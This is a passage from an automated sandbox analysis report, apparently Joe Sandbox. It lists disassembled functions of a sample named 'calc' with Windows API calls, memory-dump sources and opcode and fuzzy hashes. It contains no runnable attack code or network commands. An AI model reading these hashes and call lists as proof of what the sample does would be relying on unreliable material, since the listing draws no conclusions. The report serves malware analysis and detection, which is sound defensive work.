      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: Service$Database$CloseHandleLockManagerOpenUnlock
      • String ID:
      • API String ID: 3647510317-0
      • Opcode ID: 377cb6a1556d2c0b34a69d2726eb7eac8501c5ce8fbfca6eb216596d4b31a9b1
      • Instruction ID: 43232d2ce80c1354198d9eaea2583da01791e04a0cef509c89e940ee515f7624
      • Opcode Fuzzy Hash: 377cb6a1556d2c0b34a69d2726eb7eac8501c5ce8fbfca6eb216596d4b31a9b1
      • Instruction Fuzzy Hash: 49E06D769422209BCB202BB0ACCC9DF3B59A70621371618B2F54292291C729CCC6A66C
      Function 00401904 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 12libraryloaderCOMMON
      Download Yara Rule
      APIs
      • LoadLibraryA.KERNEL32(uxtheme.dll,00401884), ref: 0040190F
      • GetProcAddress.KERNEL32(00000000,IsThemeActive), ref: 00401921
      Strings
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: AddressLibraryLoadProc
      • String ID: IsThemeActive$uxtheme.dll
      • API String ID: 2574300362-3542929980
      • Opcode ID: ed6c78d227b817cdbed870c23739e6fb2758cfda5514cb43d7da1eea0dd35e15
      • Instruction ID: eea2efce3837e0203db1cb3c4d5c02faa46c89d2bfa5e81eac7c0935e43c98e4
      • Opcode Fuzzy Hash: ed6c78d227b817cdbed870c23739e6fb2758cfda5514cb43d7da1eea0dd35e15
      • Instruction Fuzzy Hash: 4ED0C9B1540702EECB205F61C8897127AE8BB14703F20987BF88AE26A1E778D644CA1C
      Function 0044FF81 Relevance: 6.2, APIs: 4, Instructions: 168fileCOMMON
      Download Yara Rule
      APIs
      • ReadFile.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000003), ref: 0044FFFB
      • GetLastError.KERNEL32 ref: 00450005
      • ReadFile.KERNEL32(?,?,00000001,00000000,00000000), ref: 004500CE
      • GetLastError.KERNEL32 ref: 004500D8
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: ErrorFileLastRead
      • String ID:
      • API String ID: 1948546556-0
      • Opcode ID: 106ceec12e824d1f921699dafc9b08d4ae01bbaa5a8b869dbfd030dde0547a2e
      • Instruction ID: 6471931987010d01bcf4aa760061fc4daebf1b9b9bd924f830c326e67dc1cfed
      • Opcode Fuzzy Hash: 106ceec12e824d1f921699dafc9b08d4ae01bbaa5a8b869dbfd030dde0547a2e
      • Instruction Fuzzy Hash: DE61B5389047859FDB218F58C884BAE7BF0AF02316F14419BEC658B393D779D949CB1A
      Function 00442D0D Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 90COMMON
      Download Yara Rule
      APIs
      Strings
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: _strcat
      • String ID: AU3!$EA05
      • API String ID: 1765576173-125543416
      • Opcode ID: 17153ac72172eb9a604a519bf3944ddec50a013f6248d7b1dea916bafee717f8
      • Instruction ID: 29d5f5a1b1809eb385cd818f5a50e58fa9f1bd2989d91b3669fe8a792949b4ba
      • Opcode Fuzzy Hash: 17153ac72172eb9a604a519bf3944ddec50a013f6248d7b1dea916bafee717f8
      • Instruction Fuzzy Hash: 70218F71D402086AFB11DAA8CD46FEE3BA9AF44308F6408AFF141E7183E5F49244876A
      Function 0044FEA0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 79COMMON
      Download Yara Rule
      APIs
      Strings
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: __getbuf
      • String ID: o-D$pYF
      • API String ID: 554500569-2041862546
      • Opcode ID: 43c3c69ad03a229e1e8eb7df82381eef4f8a4a41fcf0637eb458d4d674484f8b
      • Instruction ID: 45ab4429e61f8382d5639e8b3e42171f035d9681ef4c197fd688d929c02a0895
      • Opcode Fuzzy Hash: 43c3c69ad03a229e1e8eb7df82381eef4f8a4a41fcf0637eb458d4d674484f8b
      • Instruction Fuzzy Hash: FD219331414B018FE7348E29C450763B7E1AF56374B248A2FE4F6877D2D739A84E8B48
      Function 0044FAF0 Relevance: 4.6, APIs: 3, Instructions: 146fileCOMMONLIBRARYCODE
      Download Yara Rule
      APIs
      • WriteFile.KERNEL32(?,?,?,?,00000000,?,?,00000001), ref: 0044FBE0
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: FileWrite
      • String ID:
      • API String ID: 3934441357-0
      • Opcode ID: 2232f439ec6bcbb526f72077e2e8a9aff7e1540724577345c53341a595c8efdf
      • Instruction ID: 70d429ee7121439abd4bc97c56a079324356a00733651e9dd73cd6a5f99de41e
      • Opcode Fuzzy Hash: 2232f439ec6bcbb526f72077e2e8a9aff7e1540724577345c53341a595c8efdf
      • Instruction Fuzzy Hash: E5514E71900248CFEF25DFA8C984AADBBB8FF0A305F24056EE8559B252D7349909CB19
      Function 00414E97 Relevance: 4.6, APIs: 3, Instructions: 75COMMON
      Download Yara Rule
      APIs
      • SHGetMalloc.SHELL32(?), ref: 00414EB8
      • SHGetDesktopFolder.SHELL32(?), ref: 00414ED7
      • SHGetPathFromIDListW.SHELL32(?,?), ref: 00414F0D
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: DesktopFolderFromListMallocPath
      • String ID:
      • API String ID: 2281215042-0
      • Opcode ID: fd54a320faa334825c183696fc3281f20257b6f4e8e051d3b8ff61a2d48e6b5c
      • Instruction ID: 420e6610a152b6402536c0acf94c904dc319534d543c5730a20390f59e048e41
      • Opcode Fuzzy Hash: fd54a320faa334825c183696fc3281f20257b6f4e8e051d3b8ff61a2d48e6b5c
      • Instruction Fuzzy Hash: 44218C76900219ABDB10DFA0D888EDEB7B9AF48710F10409AF9059B290DB35EE45CB58
      Function 00401852 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 46COMMON
      Download Yara Rule
      APIs
        • Part of subcall function 00401904: LoadLibraryA.KERNEL32(uxtheme.dll,00401884), ref: 0040190F
        • Part of subcall function 00401904: GetProcAddress.KERNEL32(00000000,IsThemeActive), ref: 00401921
      • FreeLibrary.KERNEL32(?,0047BCF4,?), ref: 004018E0
      Strings
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: Library$AddressFreeLoadProc
      • String ID: #v
      • API String ID: 145871493-554117064
      • Opcode ID: afee0c295e40e99ab34158f1244b547d01bcead8f6ed44e632cc355ff5b29751
      • Instruction ID: 01922d125a099be2173beefaa94b615fd73c8a70fa8edead01576b879d90f1d3
      • Opcode Fuzzy Hash: afee0c295e40e99ab34158f1244b547d01bcead8f6ed44e632cc355ff5b29751
      • Instruction Fuzzy Hash: 9F0140B2D04204AFD701BFAAAC0159DBBE4EB94708B10C07BF904E3261D7B85A40DB5E
      Function 00442C1C Relevance: 3.1, APIs: 2, Instructions: 85COMMON
      Download Yara Rule
      APIs
        • Part of subcall function 004168A2: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,0045C6D0,?,?,?,00442C32,00000000,0045C6D0), ref: 004168CE
        • Part of subcall function 004168A2: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,?,?,00442C32,00000000,0045C6D0), ref: 004168F0
      • _strcat.LIBCMT ref: 00442C49
      • _strcat.LIBCMT ref: 00442C56
        • Part of subcall function 00442A91: _strlen.LIBCMT ref: 00442A99
        • Part of subcall function 00442D0D: _strcat.LIBCMT ref: 00442D41
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: _strcat$ByteCharMultiWide$_strlen
      • String ID:
      • API String ID: 1312754939-0
      • Opcode ID: 3712e034746cfa9d275968536f5e73e61f62d0093438a87d15a237fa94b18d45
      • Instruction ID: b0cc53737743a3ac0a727fc92c25a37191f4a65ad63c267f3757994ee01627ef
      • Opcode Fuzzy Hash: 3712e034746cfa9d275968536f5e73e61f62d0093438a87d15a237fa94b18d45
      • Instruction Fuzzy Hash: 96219DB29105242FFB20BB768C82B9EB79CFF01318F50896FF465D2182EB7CD9104699
      Function 0044F7F5 Relevance: 3.0, APIs: 2, Instructions: 43COMMONLIBRARYCODE
      Download Yara Rule
      APIs
      • SetFilePointer.KERNEL32(00000000,00000000,00000000,?,?,?,0044F8C0,?,00000000,0044EFF8,0045B9B8,0000000C,0044CCA9,?,00000000,00000002), ref: 0044F822
      • GetLastError.KERNEL32 ref: 0044F82F
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: ErrorFileLastPointer
      • String ID:
      • API String ID: 2976181284-0
      • Opcode ID: ef301333862fd523fcfef0701836ec2e687ab67301aea6ab59806455b9707fa4
      • Instruction ID: f4beb2f81c7b533093f19090f57eb703413f6fe32cdcc2261b4f7d7860460413
      • Opcode Fuzzy Hash: ef301333862fd523fcfef0701836ec2e687ab67301aea6ab59806455b9707fa4
      • Instruction Fuzzy Hash: 6101F4326046215AEB106F3CFC0895E37649B81331F120B6AF171CF2E2DF34CC458269
      Function 00449C88 Relevance: 3.0, APIs: 2, Instructions: 35memoryCOMMONLIBRARYCODE
      Download Yara Rule
      APIs
      • __lock.LIBCMT ref: 00449CA6
        • Part of subcall function 0044C6DB: RtlEnterCriticalSection.NTDLL(?), ref: 0044C703
      • RtlFreeHeap.NTDLL(00000000,?,0045B078,0000000C,0044C6BF,00000000,0045B3A0,00000008,0044C6F4,?,?,?,00449A5F,00000004,0045B068,0000000C), ref: 00449CED
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: CriticalEnterFreeHeapSection__lock
      • String ID:
      • API String ID: 3012239193-0
      • Opcode ID: cf883bd2fe04d4a07ca51566a703a3cd097dd1853a5e94b071277c6f3932a8ef
      • Instruction ID: 352e0a56757a29f70fda5dbbd02c219ebdc15a73ecec0d8b306ef4bd3729acd0
      • Opcode Fuzzy Hash: cf883bd2fe04d4a07ca51566a703a3cd097dd1853a5e94b071277c6f3932a8ef
      • Instruction Fuzzy Hash: FCF0F030841202AAFF706B629C46B5F7BA0AF00768F20011FF4102A1D1CB3C5D41AA8C
      Function 00449A38 Relevance: 3.0, APIs: 2, Instructions: 34memoryCOMMONLIBRARYCODE
      Download Yara Rule
      APIs
      • __lock.LIBCMT ref: 00449A5A
        • Part of subcall function 0044C6DB: RtlEnterCriticalSection.NTDLL(?), ref: 0044C703
      • RtlAllocateHeap.NTDLL(00000000,?,0045B068), ref: 00449A9B
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: AllocateCriticalEnterHeapSection__lock
      • String ID:
      • API String ID: 409319249-0
      • Opcode ID: ba8956f323e289275a4f63e35acf058c2551b89be229d334ec6b190de484c1ae
      • Instruction ID: fdb724486434b2d6e8ccd2904e3ef89b22f67d2e8c8e0598606752c53c52e891
      • Opcode Fuzzy Hash: ba8956f323e289275a4f63e35acf058c2551b89be229d334ec6b190de484c1ae
      • Instruction Fuzzy Hash: 3DF0C231C502509BEB60ABA19C0675F7360AB00768F20422EE8207A2F1C73C5C05A78C
      Function 0044E07D Relevance: 3.0, APIs: 2, Instructions: 26memoryCOMMON
      Download Yara Rule
      APIs
      • HeapCreate.KERNEL32(00000000,00001000,00000000,0044BF66,00000001,?,0045B1B8,00000060), ref: 0044E08E
        • Part of subcall function 0044E0CE: RtlAllocateHeap.NTDLL(00000000,00000140,0044E0B6), ref: 0044E0DB
      • HeapDestroy.KERNEL32(?,0045B1B8,00000060), ref: 0044E0C1
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: Heap$AllocateCreateDestroy
      • String ID:
      • API String ID: 316229882-0
      • Opcode ID: a2267900713be7d8cbac622d64c56fe0b2f8973e4e4a166c9e297e1a64908aa3
      • Instruction ID: ca41273765c5c3aab36d8d05c3b896e55048c7fa67c0c8062e034f08bda47014
      • Opcode Fuzzy Hash: a2267900713be7d8cbac622d64c56fe0b2f8973e4e4a166c9e297e1a64908aa3
      • Instruction Fuzzy Hash: 60E048706613109AFB546B736C0572A36D4FB44747F004C3EF465C61E0EBB8CC449709
      Function 00416168 Relevance: 3.0, APIs: 2, Instructions: 23COMMON
      Download Yara Rule
      APIs
      • EnumResourceNamesW.KERNEL32(00000000,0000000E,0041605B,000000A1,004012E6,000000A1,?,?,?,?,?,?,?,00401243,?,?), ref: 00416192
      • LoadImageW.USER32(000000A1,00000001,00000010,00000010,00000000,004012E6), ref: 004161B3
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: EnumImageLoadNamesResource
      • String ID:
      • API String ID: 1578290342-0
      • Opcode ID: 249b71e9550ada3b2cdf6ed6da1a3c1595c538e7d83d5dc9b0de724d6460e20e
      • Instruction ID: 388dc2f8e504b4818ad8221c326ea7f1357133d35e6b367d3968a5e83fac51bc
      • Opcode Fuzzy Hash: 249b71e9550ada3b2cdf6ed6da1a3c1595c538e7d83d5dc9b0de724d6460e20e
      • Instruction Fuzzy Hash: D2F06D70244300BBFB218F95ED49B5A3BA5AB40B5AF100D2AF104A55F0E3F4CA90DB9E
      Function 0044FD57 Relevance: 2.6, APIs: 2, Instructions: 52COMMON
      Download Yara Rule
      APIs
      • CloseHandle.KERNEL32(00000000,00000000,00000000,00455E82,00000000), ref: 0044FD91
      • GetLastError.KERNEL32 ref: 0044FD9B
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: CloseErrorHandleLast
      • String ID:
      • API String ID: 918212764-0
      • Opcode ID: 4ebd943a157eb07ac9634cd6ca5a110ba93b6a05e5397113cf76f4c5a41d9ed1
      • Instruction ID: dfd6dc24ececc12b093a21fe2a3d80e4ea14aafa4b6e7905c67d2704a465acd5
      • Opcode Fuzzy Hash: 4ebd943a157eb07ac9634cd6ca5a110ba93b6a05e5397113cf76f4c5a41d9ed1
      • Instruction Fuzzy Hash: 3601F73AD0165155E7243639680AA5F22548FC1326F25097FF822C72C3DE1CC849419E
      Function 00443162 Relevance: 1.6, APIs: 1, Instructions: 138COMMON
      Download Yara Rule
      APIs
        • Part of subcall function 004168A2: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,0045C6D0,?,?,?,00442C32,00000000,0045C6D0), ref: 004168CE
      • _strcat.LIBCMT ref: 00443184
        • Part of subcall function 00449C88: __lock.LIBCMT ref: 00449CA6
        • Part of subcall function 00449C88: RtlFreeHeap.NTDLL(00000000,?,0045B078,0000000C,0044C6BF,00000000,0045B3A0,00000008,0044C6F4,?,?,?,00449A5F,00000004,0045B068,0000000C), ref: 00449CED
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
